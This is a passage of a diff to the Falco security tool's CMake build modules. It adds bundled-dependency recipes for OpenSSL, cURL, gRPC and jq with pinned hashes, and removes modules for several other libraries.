+    ${ARGN}
     WORKING_DIRECTORY
     "${CMAKE_CURRENT_SOURCE_DIR}"
     RESULT_VARIABLE
@@ -127,108 +120,10 @@ function(git_get_latest_tag _var)
   if(NOT res EQUAL 0)
     set(out "${out}-${res}-NOTFOUND")
   endif()
-  set(${_var} "${out}" PARENT_SCOPE)
-endfunction()
-
-function(git_get_delta_from_tag _var tag hash)
-  if(NOT GIT_FOUND)
-    find_package(Git QUIET)
-  endif()
-
-  # Count commits in HEAD
-  execute_process(COMMAND
-    "${GIT_EXECUTABLE}"
-    rev-list
-    --count
-    ${hash}
-    WORKING_DIRECTORY
-    "${CMAKE_CURRENT_SOURCE_DIR}"
-    RESULT_VARIABLE
-    res
-    OUTPUT_VARIABLE
-    out_counter_head
-    ERROR_QUIET
-    OUTPUT_STRIP_TRAILING_WHITESPACE)
-  if(NOT res EQUAL 0)
-    set(${_var} "HEADCOUNT-NOTFOUND" PARENT_SCOPE)
-    return()
-  endif()
-
-  # Count commits in latest tag
-  execute_process(COMMAND
-    "${GIT_EXECUTABLE}"
-    rev-list
-    --count
-    ${tag}
-    WORKING_DIRECTORY
-    "${CMAKE_CURRENT_SOURCE_DIR}"
-    RESULT_VARIABLE
-    res
-    OUTPUT_VARIABLE
-    out_counter_tag
-    ERROR_QUIET
-    OUTPUT_STRIP_TRAILING_WHITESPACE)
-  if(NOT res EQUAL 0)
-    set(${_var} "TAGCOUNT-NOTFOUND" PARENT_SCOPE)
-    return()
-  endif()
-
-  execute_process(COMMAND
-    expr
-    ${out_counter_head} - ${out_counter_tag}
-    WORKING_DIRECTORY
-    "${CMAKE_CURRENT_SOURCE_DIR}"
-    RESULT_VARIABLE
-    res
-    OUTPUT_VARIABLE
-    out_delta
-    ERROR_QUIET
-    OUTPUT_STRIP_TRAILING_WHITESPACE)
-  if(NOT res EQUAL 0)
-    set(${_var} "DELTA-NOTFOUND" PARENT_SCOPE)
-    return()
-  endif()
-  set(${_var} "${out_delta}" PARENT_SCOPE)
-endfunction()
-
-function(git_describe _var)
-  if(NOT GIT_FOUND)
-    find_package(Git QUIET)
-  endif()
-  get_git_head_revision(refspec hash)
-  if(NOT GIT_FOUND)
-    set(${_var}
-            "GIT-NOTFOUND"
-            PARENT_SCOPE)
-    return()
-  endif()
-  if(NOT hash)
-    set(${_var}
-            "HEAD-HASH-NOTFOUND"
-            PARENT_SCOPE)
-    return()
-  endif()
-
-  execute_process(COMMAND
-          "${GIT_EXECUTABLE}"
-          describe
-          ${hash}
-          ${ARGN}
-          WORKING_DIRECTORY
-          "${CMAKE_CURRENT_SOURCE_DIR}"
-          RESULT_VARIABLE
-          res
-          OUTPUT_VARIABLE
-          out
-          ERROR_QUIET
-          OUTPUT_STRIP_TRAILING_WHITESPACE)
-  if(NOT res EQUAL 0)
-    set(out "${out}-${res}-NOTFOUND")
-  endif()
 
   set(${_var}
-          "${out}"
-          PARENT_SCOPE)
+      "${out}"
+      PARENT_SCOPE)
 endfunction()
 
 function(git_get_exact_tag _var)

cmake/modules/OpenSSL.cmake

@@ -0,0 +1,30 @@
+if(NOT USE_BUNDLED_DEPS)
+  find_package(OpenSSL REQUIRED)
+  message(STATUS "Found openssl: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
+  find_program(OPENSSL_BINARY openssl)
+  if(NOT OPENSSL_BINARY)
+    message(FATAL_ERROR "Couldn't find the openssl command line in PATH")
+  else()
+    message(STATUS "Found openssl: binary: ${OPENSSL_BINARY}")
+  endif()
+else()
+  set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
+  set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+  set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
+  set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
+  set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
+  set(OPENSSL_BINARY "${OPENSSL_INSTALL_DIR}/bin/openssl")
+
+  message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+
+  ExternalProject_Add(
+    openssl
+    # START CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
+    URL "https://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2n.tar.gz"
+    URL_MD5 "13bdc1b1d1ff39b6fd42a255e74676a4"
+    # END CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
+    CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
+    BUILD_COMMAND ${CMD_MAKE}
+    BUILD_IN_SOURCE 1
+    INSTALL_COMMAND ${CMD_MAKE} install)
+endif()

cmake/modules/cURL.cmake

@@ -0,0 +1,80 @@
+#
+# Copyright (C) 2019 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+
+if(NOT USE_BUNDLED_DEPS)
+  find_package(CURL REQUIRED)
+  message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
+else()
+  set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
+  set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
+  set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
+
+  if(NOT USE_BUNDLED_OPENSSL)
+    set(CURL_SSL_OPTION "--with-ssl")
+  else()
+    set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+    message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
+    message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
+  endif()
+
+  externalproject_add(
+    curl
+    DEPENDS openssl
+    # START CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
+    URL "https://s3.amazonaws.com/download.draios.com/dependencies/curl-7.61.0.tar.bz2"
+    URL_MD5 "31d0a9f48dc796a7db351898a1e5058a"
+    # END CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
+    CONFIGURE_COMMAND
+      ./configure
+      ${CURL_SSL_OPTION}
+      --disable-shared
+      --enable-optimize
+      --disable-curldebug
+      --disable-rt
+      --enable-http
+      --disable-ftp
+      --disable-file
+      --disable-ldap
+      --disable-ldaps
+      --disable-rtsp
+      --disable-telnet
+      --disable-tftp
+      --disable-pop3
+      --disable-imap
+      --disable-smb
+      --disable-smtp
+      --disable-gopher
+      --disable-sspi
+      --disable-ntlm-wb
+      --disable-tls-srp
+      --without-winssl
+      --without-darwinssl
+      --without-polarssl
+      --without-cyassl
+      --without-nss
+      --without-axtls
+      --without-ca-path
+      --without-ca-bundle
+      --without-libmetalink
+      --without-librtmp
+      --without-winidn
+      --without-libidn2
+      --without-libpsl
+      --without-nghttp2
+      --without-libssh2
+      --disable-threaded-resolver
+      --without-brotli
+    BUILD_COMMAND ${CMD_MAKE}
+    BUILD_IN_SOURCE 1
+    INSTALL_COMMAND "")
+endif()

cmake/modules/copy_files_to_build_dir.cmake

@@ -1,30 +0,0 @@
-#
-# Copyright (C) 2022 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-function(copy_files_to_build_dir source_files targetsuffix)
-
-  set(build_files)
-
-  foreach(file_path ${source_files})
-	  get_filename_component(trace_file ${file_path} NAME)
-	  list(APPEND build_files ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
-  endforeach()
-
-  add_custom_target(copy-files-${targetsuffix} ALL
-	  DEPENDS ${build_files})
-
-  add_custom_command(OUTPUT ${build_files}
-	  COMMAND ${CMAKE_COMMAND} -E copy_if_different ${source_files} ${CMAKE_CURRENT_BINARY_DIR}
-	  DEPENDS ${source_files})
-
-endfunction()

cmake/modules/cpp-httplib.cmake

@@ -1,32 +0,0 @@
-#
-# Copyright (C) 2022 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-#
-# cpp-httplib (https://github.com/yhirose/cpp-httplib)
-#
-if(CPPHTTPLIB_INCLUDE)
-	# we already have cpp-httplib
-else()
-	set(CPPHTTPLIB_SRC "${PROJECT_BINARY_DIR}/cpp-httplib-prefix/src/cpp-httplib")
-	set(CPPHTTPLIB_INCLUDE "${CPPHTTPLIB_SRC}")
-
-	message(STATUS "Using bundled cpp-httplib in '${CPPHTTPLIB_SRC}'")
-
-	ExternalProject_Add(cpp-httplib
-		PREFIX "${PROJECT_BINARY_DIR}/cpp-httplib-prefix"
-		URL "https://github.com/yhirose/cpp-httplib/archive/refs/tags/v0.11.3.tar.gz"
-		URL_HASH "SHA256=799b2daa0441d207f6cd1179ae3a34869722084a434da6614978be1682c1e12d"
-		CONFIGURE_COMMAND ""
-		BUILD_COMMAND ""
-		INSTALL_COMMAND "")	
-endif()

cmake/modules/cxxopts.cmake

@@ -1,23 +0,0 @@
-#
-# Copyright (C) 2022 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-set(CXXOPTS_SRC "${PROJECT_BINARY_DIR}/cxxopts-prefix/src/cxxopts/")
-set(CXXOPTS_INCLUDE_DIR "${CXXOPTS_SRC}/include")
-
-ExternalProject_Add(
-        cxxopts
-        URL "https://github.com/jarro2783/cxxopts/archive/refs/tags/v3.0.0.tar.gz"
-        URL_HASH "SHA256=36f41fa2a46b3c1466613b63f3fa73dc24d912bc90d667147f1e43215a8c6d00"
-	CONFIGURE_COMMAND ""
-	BUILD_COMMAND ""
-	INSTALL_COMMAND "")

cmake/modules/driver.cmake

@@ -1,48 +0,0 @@
-#
-# Copyright (C) 2022 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-set(DRIVER_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/driver-repo")
-set(DRIVER_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/driver-repo")
-
-file(MAKE_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
-
-if(DRIVER_SOURCE_DIR)
-  set(DRIVER_VERSION "0.0.0-local")
-  message(STATUS "Using local version for driver: '${DRIVER_SOURCE_DIR}'")
-else()
-  # DRIVER_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository
-  # which contains the driver source code under the `/driver` directory.
-  # The chosen driver version must be compatible with the given FALCOSECURITY_LIBS_VERSION.
-  # In case you want to test against another driver version (or branch, or commit) just pass the variable -
-  # ie., `cmake -DDRIVER_VERSION=dev ..`
-  if(NOT DRIVER_VERSION)
-    set(DRIVER_VERSION "79f9664cde383950bc084ca1d4230afe79509242")
-    # set(DRIVER_CHECKSUM "SHA256=4d390bdde2c061491cb73d5703a2e0db7bd681a4738b4a9e50252fff3628dd29")
-  endif()
-
-  # cd /path/to/build && cmake /path/to/source
-  execute_process(COMMAND "${CMAKE_COMMAND}" -DDRIVER_VERSION=${DRIVER_VERSION} -DDRIVER_CHECKSUM=${DRIVER_CHECKSUM}
-    ${DRIVER_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
-
-  # cmake --build .
-  execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${DRIVER_CMAKE_WORKING_DIR}")
-  set(DRIVER_SOURCE_DIR "${DRIVER_CMAKE_WORKING_DIR}/driver-prefix/src/driver")
-endif()
-
-add_definitions(-D_GNU_SOURCE)
-
-set(DRIVER_NAME "falco")
-set(DRIVER_PACKAGE_NAME "falco")
-set(DRIVER_COMPONENT_NAME "falco-driver")
-
-add_subdirectory(${DRIVER_SOURCE_DIR} ${PROJECT_BINARY_DIR}/driver)

cmake/modules/falcoctl.cmake

@@ -1,36 +0,0 @@
-#
-# Copyright (C) 2023 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-include(ExternalProject)
-
-string(TOLOWER ${CMAKE_HOST_SYSTEM_NAME} FALCOCTL_SYSTEM_NAME)
-
-set(FALCOCTL_VERSION "0.4.0")
-
-if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
-    set(FALCOCTL_SYSTEM_PROC_GO "amd64")
-    set(FALCOCTL_HASH "13c88e612efe955bc014918a7af30bae28dc5ba99b2962af57e36b1b87f527f9")
-else() # aarch64
-    set(FALCOCTL_SYSTEM_PROC_GO "arm64")
-    set(FALCOCTL_HASH "0f8898853e99a2cd1b4dd6b161e8545cf20ce0e3ce79cddc539f6002257d5de5")
-endif()
-
-ExternalProject_Add(
-        falcoctl
-        URL "https://github.com/falcosecurity/falcoctl/releases/download/v${FALCOCTL_VERSION}/falcoctl_${FALCOCTL_VERSION}_${FALCOCTL_SYSTEM_NAME}_${FALCOCTL_SYSTEM_PROC_GO}.tar.gz"
-        URL_HASH "SHA256=${FALCOCTL_HASH}"
-        CONFIGURE_COMMAND ""
-        BUILD_COMMAND ""
-        INSTALL_COMMAND "")
-
-install(PROGRAMS "${PROJECT_BINARY_DIR}/falcoctl-prefix/src/falcoctl/falcoctl" DESTINATION "${FALCO_BIN_DIR}" COMPONENT "${FALCO_COMPONENT_NAME}")

cmake/modules/falcosecurity-libs.cmake

@@ -1,90 +0,0 @@
-#
-# Copyright (C) 2021 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-set(FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/falcosecurity-libs-repo")
-set(FALCOSECURITY_LIBS_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/falcosecurity-libs-repo")
-
-file(MAKE_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
-
-# explicitly disable the bundled driver, since we pull it separately
-set(USE_BUNDLED_DRIVER OFF CACHE BOOL "")
-
-if(FALCOSECURITY_LIBS_SOURCE_DIR)
-  set(FALCOSECURITY_LIBS_VERSION "0.0.0-local")
-  message(STATUS "Using local version of falcosecurity/libs: '${FALCOSECURITY_LIBS_SOURCE_DIR}'")
-else()
-  # FALCOSECURITY_LIBS_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository.
-  # In case you want to test against another falcosecurity/libs version (or branch, or commit) just pass the variable -
-  # ie., `cmake -DFALCOSECURITY_LIBS_VERSION=dev ..`
-  if(NOT FALCOSECURITY_LIBS_VERSION)
-    set(FALCOSECURITY_LIBS_VERSION "79f9664cde383950bc084ca1d4230afe79509242")
-    # set(FALCOSECURITY_LIBS_CHECKSUM "SHA256=4d390bdde2c061491cb73d5703a2e0db7bd681a4738b4a9e50252fff3628dd29")
-  endif()
-
-  # cd /path/to/build && cmake /path/to/source
-  execute_process(COMMAND "${CMAKE_COMMAND}" -DFALCOSECURITY_LIBS_VERSION=${FALCOSECURITY_LIBS_VERSION} -DFALCOSECURITY_LIBS_CHECKSUM=${FALCOSECURITY_LIBS_CHECKSUM}
-    ${FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
-
-  # cmake --build .
-  execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}")
-  set(FALCOSECURITY_LIBS_SOURCE_DIR "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}/falcosecurity-libs-prefix/src/falcosecurity-libs")
-endif()
-
-set(LIBS_PACKAGE_NAME "falcosecurity")
-
-add_definitions(-D_GNU_SOURCE)
-add_definitions(-DHAS_CAPTURE)
-
-if(MUSL_OPTIMIZED_BUILD)
-  add_definitions(-DMUSL_OPTIMIZED)
-endif()
-
-set(SCAP_HOST_ROOT_ENV_VAR_NAME "HOST_ROOT")
-
-if(NOT LIBSCAP_DIR)
-  set(LIBSCAP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
-endif()
-
-set(LIBSINSP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
-
-# configure gVisor support
-set(BUILD_LIBSCAP_GVISOR ${BUILD_FALCO_GVISOR} CACHE BOOL "")
-
-# configure modern BPF support
-set(BUILD_LIBSCAP_MODERN_BPF ${BUILD_FALCO_MODERN_BPF} CACHE BOOL "")
-
-# explicitly disable the tests/examples of this dependency
-set(CREATE_TEST_TARGETS OFF CACHE BOOL "")
-set(BUILD_LIBSCAP_EXAMPLES OFF CACHE BOOL "")
-
-set(USE_BUNDLED_TBB ON CACHE BOOL "")
-set(USE_BUNDLED_B64 ON CACHE BOOL "")
-set(USE_BUNDLED_JSONCPP ON CACHE BOOL "")
-set(USE_BUNDLED_VALIJSON ON CACHE BOOL "")
-set(USE_BUNDLED_RE2 ON CACHE BOOL "")
-
-list(APPEND CMAKE_MODULE_PATH "${FALCOSECURITY_LIBS_SOURCE_DIR}/cmake/modules")
-
-include(CheckSymbolExists)
-check_symbol_exists(strlcpy "string.h" HAVE_STRLCPY)
-
-if(HAVE_STRLCPY)
-  message(STATUS "Existing strlcpy found, will *not* use local definition by setting -DHAVE_STRLCPY.")
-  add_definitions(-DHAVE_STRLCPY)
-else()
-  message(STATUS "No strlcpy found, will use local definition")
-endif()
-
-include(driver)
-include(libscap)
-include(libsinsp)

cmake/modules/gRPC.cmake

@@ -0,0 +1,122 @@
+#
+# Copyright (C) 2019 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+
+if(NOT USE_BUNDLED_DEPS)
+  # zlib
+  include(FindZLIB)
+  set(ZLIB_INCLUDE "${ZLIB_INCLUDE_DIRS}")
+  set(ZLIB_LIB "${ZLIB_LIBRARIES}")
+
+  if(ZLIB_INCLUDE AND ZLIB_LIB)
+    message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
+  endif()
+
+  # c-ares
+  find_path(CARES_INCLUDE NAMES ares.h)
+  find_library(CARES_LIB NAMES libcares.so)
+  if(CARES_INCLUDE AND CARES_LIB)
+    message(STATUS "Found c-ares: include: ${CARES_INCLUDE}, lib: ${CARES_LIB}")
+  else()
+    message(FATAL_ERROR "Couldn't find system c-ares")
+  endif()
+
+  # protobuf
+  find_program(PROTOC NAMES protoc)
+  find_path(PROTOBUF_INCLUDE NAMES google/protobuf/message.h)
+  find_library(PROTOBUF_LIB NAMES libprotobuf.so)
+  if(PROTOC
+     AND PROTOBUF_INCLUDE
+     AND PROTOBUF_LIB)
+    message(STATUS "Found protobuf: compiler: ${PROTOC}, include: ${PROTOBUF_INCLUDE}, lib: ${PROTOBUF_LIB}")
+  else()
+    message(FATAL_ERROR "Couldn't find system protobuf")
+  endif()
+
+  # gRPC todo(fntlnz, leodido): check that gRPC version is greater or equal than 1.8.0
+  find_path(GRPCXX_INCLUDE NAMES grpc++/grpc++.h)
+  if(GRPCXX_INCLUDE)
+    set(GRPC_INCLUDE ${GRPCXX_INCLUDE})
+  else()
+    find_path(GRPCPP_INCLUDE NAMES grpcpp/grpcpp.h)
+    set(GRPC_INCLUDE ${GRPCPP_INCLUDE})
+    add_definitions(-DGRPC_INCLUDE_IS_GRPCPP=1)
+  endif()
+  find_library(GRPC_LIB NAMES grpc)
+  find_library(GRPCPP_LIB NAMES grpc++)
+  if(GRPC_INCLUDE
+     AND GRPC_LIB
+     AND GRPCPP_LIB)
+    message(STATUS "Found grpc: include: ${GRPC_INCLUDE}, C lib: ${GRPC_LIB}, C++ lib: ${GRPCPP_LIB}")
+  else()
+    message(FATAL_ERROR "Couldn't find system grpc")
+  endif()
+  find_program(GRPC_CPP_PLUGIN grpc_cpp_plugin)
+  if(NOT GRPC_CPP_PLUGIN)
+    message(FATAL_ERROR "System grpc_cpp_plugin not found")
+  endif()
+
+else()
+  find_package(PkgConfig)
+    if(NOT PKG_CONFIG_FOUND)
+      message(FATAL_ERROR "pkg-config binary not found")
+  endif()
+  message(STATUS "Found pkg-config executable: ${PKG_CONFIG_EXECUTABLE}")
+  set(GRPC_SRC "${PROJECT_BINARY_DIR}/grpc-prefix/src/grpc")
+  set(GRPC_INCLUDE "${GRPC_SRC}/include")
+  set(GRPC_LIBS_ABSOLUTE "${GRPC_SRC}/libs/opt")
+  set(GRPC_LIB "${GRPC_LIBS_ABSOLUTE}/libgrpc.a")
+  set(GRPCPP_LIB "${GRPC_LIBS_ABSOLUTE}/libgrpc++.a")
+  set(GRPC_CPP_PLUGIN "${GRPC_SRC}/bins/opt/grpc_cpp_plugin")
+
+  # we tell gRPC to compile protobuf for us because when a gRPC package is not available, like on CentOS, it's very
+  # likely that protobuf will be very outdated
+  set(PROTOBUF_INCLUDE "${GRPC_SRC}/third_party/protobuf/src")
+  set(PROTOC "${PROTOBUF_INCLUDE}/protoc")
+  set(PROTOBUF_LIB "${GRPC_LIBS_ABSOLUTE}/protobuf/libprotobuf.a")
+  # we tell gRPC to compile zlib for us because when a gRPC package is not available, like on CentOS, it's very likely
+  # that zlib will be very outdated
+  set(ZLIB_INCLUDE "${GRPC_SRC}/third_party/zlib")
+  set(ZLIB_LIB "${GRPC_LIBS_ABSOLUTE}/libz.a")
+
+  message(STATUS "Using bundled gRPC in '${GRPC_SRC}'")
+  message(
+    STATUS
+      "Bundled gRPC comes with protobuf: compiler: ${PROTOC}, include: ${PROTOBUF_INCLUDE}, lib: ${PROTOBUF_LIB}")
+  message(STATUS "Bundled gRPC comes with zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}}")
+  message(STATUS "Bundled gRPC comes with gRPC C++ plugin: include: ${GRPC_CPP_PLUGIN}")
+
+  get_filename_component(PROTOC_DIR ${PROTOC} PATH)
+
+  ExternalProject_Add(
+    grpc
+    DEPENDS openssl
+    GIT_REPOSITORY https://github.com/grpc/grpc.git
+    GIT_TAG v1.25.0
+    GIT_SUBMODULES "third_party/protobuf third_party/zlib third_party/cares/cares"
+    BUILD_IN_SOURCE 1
+    BUILD_BYPRODUCTS ${GRPC_LIB} ${GRPCPP_LIB}
+    INSTALL_COMMAND ""
+    CONFIGURE_COMMAND ""
+    BUILD_COMMAND
+      CFLAGS=-Wno-implicit-fallthrough
+      HAS_SYSTEM_ZLIB=false
+      HAS_SYSTEM_PROTOBUF=false
+      HAS_SYSTEM_CARES=false
+      PKG_CONFIG_PATH=${OPENSSL_BUNDLE_DIR}
+      PKG_CONFIG=${PKG_CONFIG_EXECUTABLE}
+      PATH=${PROTOC_DIR}:$ENV{PATH}
+      make
+      static_cxx
+      static_c
+      grpc_cpp_plugin)
+endif()

cmake/modules/jq.cmake

@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2019 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+if(NOT USE_BUNDLED_DEPS)
+  find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
+  find_library(JQ_LIB NAMES jq)
+  if(JQ_INCLUDE AND JQ_LIB)
+    message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
+  else()
+    message(FATAL_ERROR "Couldn't find system jq")
+  endif()
+else()
+  set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
+  message(STATUS "Using bundled jq in '${JQ_SRC}'")
+  set(JQ_INCLUDE "${JQ_SRC}")
+  set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
+  ExternalProject_Add(
+    jq
+    URL "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-1.5.tar.gz"
+    URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
+    CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
+    BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
+    BUILD_IN_SOURCE 1
+    PATCH_COMMAND curl -L https://github.com/stedolan/jq/commit/8eb1367ca44e772963e704a700ef72ae2e12babd.patch | patch
+    INSTALL_COMMAND "")
+endif()

cmake/modules/libyaml.cmake

@@ -1,27 +0,0 @@
-#
-# Copyright (C) 2020 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml")
-set(LIBYAML_INSTALL_DIR "${LIBYAML_SRC}/target")
-message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
-set(LIBYAML_LIB "${LIBYAML_SRC}/src/.libs/libyaml.a")
-externalproject_add(
-  libyaml
-  URL "https://github.com/yaml/libyaml/releases/download/0.2.5/yaml-0.2.5.tar.gz"
-  URL_HASH "SHA256=c642ae9b75fee120b2d96c712538bd2cf283228d2337df2cf2988e3c02678ef4"
-  CONFIGURE_COMMAND ./configure --prefix=${LIBYAML_INSTALL_DIR} CFLAGS=-fPIC CPPFLAGS=-fPIC --enable-static=true --enable-shared=false
-  BUILD_COMMAND ${CMD_MAKE}
-  BUILD_IN_SOURCE 1
-  BUILD_BYPRODUCTS ${LIBYAML_LIB}
-  INSTALL_COMMAND ${CMD_MAKE} install
-)

cmake/modules/njson.cmake

@@ -1,34 +0,0 @@
-#
-# Copyright (C) 2023 The Falco Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
-# the License. You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
-# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
-# specific language governing permissions and limitations under the License.
-#
-
-#
-# nlohmann-json
-#
-if(NJSON_INCLUDE)
-    # Adding the custom target we can use it with `add_dependencies()`
-    if(NOT TARGET njson)
-        add_custom_target(njson)
-    endif()
-else()
-    # We always use the bundled version
-    set(NJSON_SRC "${PROJECT_BINARY_DIR}/njson-prefix/src/njson")
-    set(NJSON_INCLUDE "${NJSON_SRC}/single_include")
-    ExternalProject_Add(
-        njson
-        URL "https://github.com/nlohmann/json/archive/v3.3.0.tar.gz"
-        URL_HASH "SHA256=2fd1d207b4669a7843296c41d3b6ac5b23d00dec48dba507ba051d14564aa801"
